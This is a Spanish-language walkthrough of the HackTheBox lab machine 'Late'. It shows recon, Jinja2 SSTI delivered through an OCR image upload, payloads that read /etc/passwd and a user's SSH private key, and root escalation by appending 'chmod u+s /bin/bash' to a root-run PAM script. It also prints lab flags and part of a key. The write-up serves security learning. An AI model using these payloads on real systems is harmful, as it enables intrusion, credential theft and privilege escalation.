Late
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. En el80hay un sitio estático con un enlace aimages.late.htb, una app Flask que convierte imágenes a texto con OCR. El motor Jinja2 de Flask evalúa el texto extraído, así que una imagen con el payload{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}produce SSTI y lectura arbitraria de ficheros. Leyendo/home/svc_acc/.ssh/id_rsase entra por SSH como svc_acc. Para escalar, un script/usr/local/sbin/ssh-alert.shpropiedad desvc_accse ejecuta comorooten cada login SSH; tiene el atributoa(append-only vía chattr), así que no se puede editar, pero sí hacerecho 'chmod u+s /bin/bash' >>. Tras un segundo SSH login,bash -pda root.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista rápida del sistema operativo: valores cercanos a 64 suelen indicar Linux y cercanos a 128, Windows.
ping -c 1 10.10.11.156
64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=113 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Recorremos los 65535 puertos TCP con -p- (rápido y sin fingerprinting, solo para descubrir los abiertos; -n -Pn evita DNS y ping):
sudo nmap -p- --open --reason -n -Pn 10.10.11.156
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.156
Open ports: 22,80
Ports copied to clipboardSolo SSH y HTTP. El -sCV detalla las versiones:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelSSH 7.6p1 (versión antigua, vulnerable a user enumeration, pero no es el camino aquí) y un nginx 1.14.0 que sirve un sitio titulado "Late - Best online image tools" bajo el dominio late.htb.
Virtual hosting y subdominios
Se añade late.htb a /etc/hosts:

whatweb confirma el stack (Bootstrap, jQuery, nginx) y, de paso, deja caer un correo de soporte support@late.htb que insinúa que late.htb es un dominio con posibles subdominios:

http://10.10.11.156 [200 OK] Bootstrap[3.0.0], Email[support@late.htb],
HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)],
Meta-Author[Sergey Pozhilov (GetTemplate.com)],
Title[Late - Best online image tools], nginx[1.14.0]Wappalyzer en el navegador da el mismo perfil; nada que apunte a un CMS con vulnerabilidades conocidas:

Un fuzz de subdominios con wfuzz encuentra images.late.htb:

wfuzz -u http://late.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-t 100 -H "Host: FUZZ.late.htb" --hh=9461Se añade también images.late.htb al /etc/hosts:

127.0.0.1 localhost
127.0.1.1 kali
...
10.10.11.156 late.htb images.late.htbFlask OCR en images.late.htb

La app sube una imagen, extrae el texto con OCR y devuelve un .txt con el resultado. Que sea Flask (Jinja2) convierte este OCR en un posible canal de SSTI: si el texto extraído de la imagen pasa por render_template_string(), cualquier expresión entre {{ }} se evaluará en el servidor.
Shell como svc_acc
SSTI vía imagen
Para que el OCR lea limpiamente el payload, se escribe en un editor con fuente clara y grande (no a mano), se captura con scrot y se sube:
{{ 7*7 }}
Se captura con scrot y se comprueba con feh antes de subirla:
sleep 3; scrot -s test.png
feh test.png
feh [1 of 1] - test.png
{{7*7}}Se sube la imagen a la app Flask:


El fichero .txt devuelve 49: la expresión se evaluó. SSTI confirmada.
Lectura de /etc/passwd
En PayloadsAllTheThings (Server Side Template Injection → Python.md) hay varios gadgets de lectura de ficheros para Jinja2. El que mejor funciona aquí usa get_flashed_messages:

El gadget estándar para leer ficheros en Jinja2:
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Entre los usuarios llama la atención svc_acc (con shell y home). SSH está abierto, así que el siguiente payload apunta a su clave privada:
Lectura de la id_rsa de svc_acc
{{ get_flashed_messages.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read() }}

La clave privada completa llega en el .txt. La app entrega el resultado como una descarga del navegador, así que el fichero cae en ~/Downloads con el nombre que le pone el navegador (results(1).txt, con el (1) porque ya había un results.txt de la lectura anterior de /etc/passwd). Lo primero es traerlo al directorio de trabajo:
mv /home/krmena/Downloads/results\(1\).txt .
Ya en local se renombra a id_rsa, se abre con nano para limpiar posibles artefactos del OCR y se comprueba que la clave está completa (de BEGIN RSA PRIVATE KEY a END RSA PRIVATE KEY, 27 líneas) antes de ponerle los permisos 600 que SSH exige:
mv results\(1\).txt id_rsa
nano id_rsa
cat id_rsa
chmod 600 id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
<SNIP>
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----Con la clave lista, entramos por SSH:
ssh -i id_rsa svc_acc@10.10.11.156
The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts.
svc_acc@late:~$Flag de usuario:

4055aab560eba55318ffde5f2816a29bEscalada a root
Script ssh-alert.sh (cron + append-only)
Buscando ficheros propiedad del usuario fuera de /home:
find / -user $(whoami) 2>/dev/null | grep -vE 'run|proc|var|sys|home'
/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0Un script en /usr/local/sbin es propiedad de svc_acc. Lo leemos:
cat /usr/local/sbin/ssh-alert.sh#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fiEl script envía un email cada vez que alguien abre sesión SSH. Las variables $PAM_* apuntan a que lo invoca PAM. Para confirmar quién lo ejecuta realmente, se transfiere pspy64 a la víctima (servidor HTTP en el atacante, wget en la máquina):
# atacante
python3 -m http.server 80
# víctima
wget http://10.10.16.6/pspy64 && chmod +x pspy64
svc_acc@late:~$ wget http://10.10.16.6/pspy64
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[===================>] 2.96M 747KB/s in 5.1s
2025-09-23 11:44:15 (596 KB/s) - 'pspy64' saved [3104768/3104768]Al abrir otra sesión SSH, pspy64 registra que root (UID=0) ejecuta el script, y además revela un cron que hace chattr -a antes y chattr +a después, lo que explica el atributo append-only:

UID=0 ... /bin/bash /usr/local/sbin/ssh-alert.sh
UID=0 ... chattr -a /usr/local/sbin/ssh-alert.sh
UID=0 ... chattr +a /usr/local/sbin/ssh-alert.shsvc_acc es el propietario, así que en teoría podría modificarlo. El primer intento con nano falla con "Operation not permitted", lo que lleva a mirar los atributos extendidos:

lsattr /usr/local/sbin/ssh-alert.sh
# -----a--------e--- /usr/local/sbin/ssh-alert.shEl atributo a (append-only vía chattr): nano, vi, > y cualquier escritura que no sea append fallan con "Operation not permitted". Pero >> sí funciona.
Inyección por append
echo 'chmod u+s /bin/bash' >> /usr/local/sbin/ssh-alert.sh
cat /usr/local/sbin/ssh-alert.sh
...
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
chmod u+s /bin/bashAhora, cualquier login SSH disparará el script como root y seteará el SUID en /bin/bash. Basta con abrir otra sesión SSH:
ssh -i id_rsa svc_acc@10.10.11.156
ls -l /bin/bash
# -rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
bash -p
cat /root/root.txt
2eee81d9b46abff2f8854d01bbbc1a65Cadena de ataque
nmap (22, 80)
└─> late.htb → wfuzz → images.late.htb (Flask OCR)
└─> {{ 7*7 }} = 49 → SSTI confirmada
└─> {{ ...open("/etc/passwd").read() }} → svc_acc
└─> {{ ...open("/home/svc_acc/.ssh/id_rsa").read() }}
└─> SSH como svc_acc + user.txt
└─> /usr/local/sbin/ssh-alert.sh (PAM, corre como root)
└─> atributo `a` (append-only) → echo >> chmod u+s /bin/bash
└─> nuevo SSH login → bash -p → root.txtLecciones aprendidas
- OCR + plantillas = SSTI: si una aplicación Flask pasa texto extraído por
render_template_string(), el atacante controla la plantilla con una imagen. La fuente del payload importa: fuentes claras y grandes hacen que el OCR lea sin errores. - Leer
/etc/passwdpor SSTI no es el fin, es el medio: la lista de usuarios dicta el siguiente payload (id_rsa,authorized_keys, archivos de config). - El atributo
a(append-only, puesto conchattr +a) bloquea toda escritura excepto>>. Es una protección parcial; un atacante que pueda hacer append a un script ejecutado como root tiene el mismo resultado que si lo editara: inyecta una línea al final. - Scripts invocados por PAM se ejecutan como root en cada login. Si el propietario del fichero es un usuario regular, una escalada pasa por encontrar cómo escribir en él (en este caso, el append-only permite justo lo suficiente).
lsattrsiempre antes denano/vi: si unchattr +ao+iestá puesto, el error "Operation not permitted" despista si no se sabe que la causa no son los permisos UNIX sino los atributos extendidos.